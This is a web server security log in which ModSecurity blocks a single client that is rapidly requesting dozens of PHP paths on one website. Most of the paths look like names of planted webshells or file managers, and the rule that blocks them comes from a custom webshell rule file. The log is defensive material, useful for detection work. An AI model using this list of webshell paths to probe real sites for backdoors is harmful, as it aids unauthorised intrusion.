[Fri Apr 17 03:49:25.049735 2026] [:error] [pid 9263:tid 9284] [client 20.166.31.184:32723] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aeE9RRP68VyHNvj1e56BbgAAANM"]
[Fri Apr 17 03:49:25.548024 2026] [:error] [pid 9152:tid 9191] [client 20.166.31.184:29110] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "aeE9RZJYca8I3TNCwIfIPwAAAEE"]
[Fri Apr 17 03:49:26.073440 2026] [:error] [pid 9263:tid 9280] [client 20.166.31.184:35749] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "aeE9RhP68VyHNvj1e56BdwAAAM8"]
[Fri Apr 17 03:49:26.622048 2026] [:error] [pid 9153:tid 9223] [client 20.166.31.184:26261] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "aeE9RuMHGxkTZX3c45enFAAAAIU"]
[Fri Apr 17 03:49:27.134877 2026] [:error] [pid 9152:tid 9193] [client 20.166.31.184:38384] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "aeE9R5JYca8I3TNCwIfIRAAAAEM"]
[Fri Apr 17 03:49:27.652620 2026] [:error] [pid 9263:tid 9284] [client 20.166.31.184:35903] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no1.php"] [unique_id "aeE9RxP68VyHNvj1e56BegAAANM"]
[Fri Apr 17 03:49:28.183848 2026] [:error] [pid 9152:tid 9204] [client 20.166.31.184:35735] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no1.php"] [unique_id "aeE9SJJYca8I3TNCwIfIRwAAAE4"]
[Fri Apr 17 03:49:28.723555 2026] [:error] [pid 9263:tid 9272] [client 20.166.31.184:35872] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no1.php"] [unique_id "aeE9SBP68VyHNvj1e56BfQAAAMc"]
[Fri Apr 17 03:49:29.266965 2026] [:error] [pid 9152:tid 9214] [client 20.166.31.184:38386] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no1.php"] [unique_id "aeE9SZJYca8I3TNCwIfISwAAAFg"]
[Fri Apr 17 03:49:29.792269 2026] [:error] [pid 9263:tid 9266] [client 20.166.31.184:38545] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w2025.php"] [unique_id "aeE9SRP68VyHNvj1e56BfwAAAME"]
[Fri Apr 17 03:49:30.302699 2026] [:error] [pid 9263:tid 9282] [client 20.166.31.184:32724] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w2025.php"] [unique_id "aeE9ShP68VyHNvj1e56BggAAANE"]
[Fri Apr 17 03:49:30.866367 2026] [:error] [pid 9151:tid 9175] [client 20.166.31.184:15368] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w2025.php"] [unique_id "aeE9SshTVuRPkua22vRd2wAAAA4"]
[Fri Apr 17 03:49:31.421991 2026] [:error] [pid 9263:tid 9284] [client 20.166.31.184:29104] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w2025.php"] [unique_id "aeE9SxP68VyHNvj1e56BhQAAANM"]
[Fri Apr 17 03:49:32.072682 2026] [:error] [pid 9263:tid 9283] [client 20.166.31.184:26256] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fvvff.php"] [unique_id "aeE9TBP68VyHNvj1e56BhwAAANI"]
[Fri Apr 17 03:49:32.618431 2026] [:error] [pid 9263:tid 9265] [client 20.166.31.184:29468] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fvvff.php"] [unique_id "aeE9TBP68VyHNvj1e56BigAAAMA"]
[Fri Apr 17 03:49:33.148926 2026] [:error] [pid 9263:tid 9271] [client 20.166.31.184:32695] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fvvff.php"] [unique_id "aeE9TRP68VyHNvj1e56BiwAAAMY"]
[Fri Apr 17 03:49:33.716777 2026] [:error] [pid 9263:tid 9287] [client 20.166.31.184:26259] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fvvff.php"] [unique_id "aeE9TRP68VyHNvj1e56BjAAAANY"]
[Fri Apr 17 03:49:34.265605 2026] [:error] [pid 9263:tid 9278] [client 20.166.31.184:35730] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "aeE9ThP68VyHNvj1e56BkAAAAM0"]
[Fri Apr 17 03:49:34.821336 2026] [:error] [pid 9153:tid 9227] [client 20.166.31.184:21248] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "aeE9TuMHGxkTZX3c45enKwAAAIk"]
[Fri Apr 17 03:49:35.386507 2026] [:error] [pid 9151:tid 9176] [client 20.166.31.184:29098] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "aeE9T8hTVuRPkua22vRd3wAAAA8"]
[Fri Apr 17 03:49:35.943528 2026] [:error] [pid 9153:tid 9231] [client 20.166.31.184:32757] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "aeE9T-MHGxkTZX3c45enLQAAAI0"]
[Fri Apr 17 03:49:36.541608 2026] [:error] [pid 9153:tid 9223] [client 20.166.31.184:26247] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aeE9UOMHGxkTZX3c45enMQAAAIU"]
[Fri Apr 17 03:49:37.167500 2026] [:error] [pid 9152:tid 9211] [client 20.166.31.184:35894] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aeE9UZJYca8I3TNCwIfIVgAAAFU"]
[Fri Apr 17 03:49:37.725629 2026] [:error] [pid 9263:tid 9267] [client 20.166.31.184:38589] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aeE9URP68VyHNvj1e56BnQAAAMI"]
[Fri Apr 17 03:49:38.287629 2026] [:error] [pid 9263:tid 9272] [client 20.166.31.184:29101] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aeE9UhP68VyHNvj1e56BngAAAMc"]
[Fri Apr 17 03:49:38.860566 2026] [:error] [pid 9153:tid 9219] [client 20.166.31.184:24055] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aeE9UuMHGxkTZX3c45enNwAAAIE"]
[Fri Apr 17 03:49:46.927460 2026] [:error] [pid 9263:tid 9279] [client 20.166.31.184:32766] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless4.php"] [unique_id "aeE9WhP68VyHNvj1e56BxAAAAM4"]
[Fri Apr 17 03:49:47.522847 2026] [:error] [pid 9151:tid 9184] [client 20.166.31.184:32667] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless4.php"] [unique_id "aeE9W8hTVuRPkua22vRd-QAAABc"]
[Fri Apr 17 03:49:48.058614 2026] [:error] [pid 9151:tid 9176] [client 20.166.31.184:24026] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless4.php"] [unique_id "aeE9XMhTVuRPkua22vRd_gAAAA8"]
[Fri Apr 17 03:49:48.629607 2026] [:error] [pid 9153:tid 9218] [client 20.166.31.184:29456] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless4.php"] [unique_id "aeE9XOMHGxkTZX3c45enVQAAAIA"]
[Fri Apr 17 03:49:49.183140 2026] [:error] [pid 9263:tid 9285] [client 20.166.31.184:32730] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "aeE9XRP68VyHNvj1e56BxQAAANQ"]
[Fri Apr 17 03:49:49.734925 2026] [:error] [pid 9151:tid 9180] [client 20.166.31.184:35729] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "aeE9XchTVuRPkua22vReBAAAABM"]
[Fri Apr 17 03:49:50.284305 2026] [:error] [pid 9151:tid 9169] [client 20.166.31.184:32640] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "aeE9XshTVuRPkua22vReBQAAAAg"]
[Fri Apr 17 03:49:50.784640 2026] [:error] [pid 9153:tid 9226] [client 20.166.31.184:25985] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "aeE9XuMHGxkTZX3c45enWAAAAIg"]
[Fri Apr 17 03:49:51.311658 2026] [:error] [pid 9263:tid 9272] [client 20.166.31.184:29086] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xqq.php"] [unique_id "aeE9XxP68VyHNvj1e56BxwAAAMc"]
[Fri Apr 17 03:49:51.824833 2026] [:error] [pid 9151:tid 9168] [client 20.166.31.184:38591] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xqq.php"] [unique_id "aeE9X8hTVuRPkua22vReCwAAAAc"]
[Fri Apr 17 03:49:52.340123 2026] [:error] [pid 9152:tid 9193] [client 20.166.31.184:38563] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xqq.php"] [unique_id "aeE9YJJYca8I3TNCwIfIXAAAAEM"]
[Fri Apr 17 03:49:53.049949 2026] [:error] [pid 9153:tid 9242] [client 20.166.31.184:35734] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xqq.php"] [unique_id "aeE9YeMHGxkTZX3c45enXQAAAJg"]
[Fri Apr 17 03:49:53.612443 2026] [:error] [pid 9151:tid 9181] [client 20.166.31.184:38541] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plss3.php"] [unique_id "aeE9YchTVuRPkua22vReEgAAABQ"]
[Fri Apr 17 03:49:54.132047 2026] [:error] [pid 9263:tid 9275] [client 20.166.31.184:38555] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plss3.php"] [unique_id "aeE9YhP68VyHNvj1e56BygAAAMo"]
[Fri Apr 17 03:49:54.645874 2026] [:error] [pid 9152:tid 9192] [client 20.166.31.184:32743] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plss3.php"] [unique_id "aeE9YpJYca8I3TNCwIfIYwAAAEI"]
[Fri Apr 17 03:49:55.161648 2026] [:error] [pid 9152:tid 9211] [client 20.166.31.184:38581] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plss3.php"] [unique_id "aeE9Y5JYca8I3TNCwIfIZwAAAFU"]
[Fri Apr 17 03:49:55.671283 2026] [:error] [pid 9151:tid 9176] [client 20.166.31.184:32706] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aaa.php"] [unique_id "aeE9Y8hTVuRPkua22vReGAAAAA8"]
[Fri Apr 17 03:49:56.204158 2026] [:error] [pid 9152:tid 9209] [client 20.166.31.184:23892] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aaa.php"] [unique_id "aeE9ZJJYca8I3TNCwIfIbwAAAFM"]
[Fri Apr 17 03:49:56.702692 2026] [:error] [pid 9152:tid 9206] [client 20.166.31.184:29089] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aaa.php"] [unique_id "aeE9ZJJYca8I3TNCwIfIcgAAAFA"]
[Fri Apr 17 03:49:57.203699 2026] [:error] [pid 9263:tid 9288] [client 20.166.31.184:32661] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aaa.php"] [unique_id "aeE9ZRP68VyHNvj1e56BzgAAANc"]
[Fri Apr 17 03:49:57.743158 2026] [:error] [pid 9153:tid 9234] [client 20.166.31.184:32716] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aeE9ZeMHGxkTZX3c45enYQAAAJA"]
[Fri Apr 17 03:49:58.254127 2026] [:error] [pid 9151:tid 9162] [client 20.166.31.184:23927] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aeE9ZshTVuRPkua22vReHAAAAAE"]
[Fri Apr 17 03:49:58.829722 2026] [:error] [pid 9263:tid 9269] [client 20.166.31.184:38359] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aeE9ZhP68VyHNvj1e56B0wAAAMQ"]
[Fri Apr 17 03:49:59.368983 2026] [:error] [pid 9263:tid 9278] [client 20.166.31.184:26039] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aeE9ZxP68VyHNvj1e56B1gAAAM0"]
[Fri Apr 17 03:49:59.869347 2026] [:error] [pid 9263:tid 9271] [client 20.166.31.184:38372] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aeE9ZxP68VyHNvj1e56B2QAAAMY"]
[Fri Apr 17 03:50:00.408665 2026] [:error] [pid 9152:tid 9191] [client 20.166.31.184:26240] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aeE9aJJYca8I3TNCwIfIfAAAAEE"]
[Fri Apr 17 03:50:00.945606 2026] [:error] [pid 9152:tid 9207] [client 20.166.31.184:29502] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aeE9aJJYca8I3TNCwIfIfQAAAFE"]
[Fri Apr 17 03:50:01.450141 2026] [:error] [pid 9153:tid 9241] [client 20.166.31.184:35754] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aeE9aeMHGxkTZX3c45enZwAAAJc"]
[Fri Apr 17 03:50:01.993103 2026] [:error] [pid 9152:tid 9192] [client 20.166.31.184:15401] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aeE9aZJYca8I3TNCwIfIgAAAAEI"]
[Fri Apr 17 03:50:02.492415 2026] [:error] [pid 9263:tid 9281] [client 20.166.31.184:32703] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aeE9ahP68VyHNvj1e56B2wAAANA"]
